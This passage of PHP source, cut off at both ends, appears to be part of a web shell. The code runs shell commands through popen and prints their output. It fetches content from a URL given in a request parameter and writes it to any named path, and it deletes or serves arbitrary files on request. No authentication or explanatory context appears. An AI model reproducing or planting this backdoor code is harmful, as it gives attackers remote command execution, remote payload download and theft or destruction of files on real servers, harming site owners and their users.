');
if(empty($out)){
$handle = popen($cmd, 'r');
while(!feof($handle))
echo htmlentities(str_replace(array("\r\n", "\n"), '
', fread($handle, 2096)));
pclose($handle);
}
}
if(isset($_GET['dir']) && isset($_GET['name']) && isset($_GET['up'])){
$dir = $_GET['dir'] . '/' . $_GET['name'];
$f = @fopen($dir, 'w');
if($f){
fwrite($f, file_get_contents($_GET['uri']));
fclose($f);
echo 'ok';
}
else
echo 'fopen error';
}
else if(isset($_GET['file']) && isset($_GET['dir']) && isset($_GET['remove'])){
unlink($_GET['dir'] . '/' . $_GET['file']);
echo 'rem';
}
else if(isset($_GET['show'])){
if(isset($_GET['download'])){
header('Content-Type: application/octet-stream' );
header('Content-Disposition: attachment;filename=' . $_GET['file']);
echo @file_get_contents($_GET['dir'] . '/' . $_GET['file']);
}
else{
echo '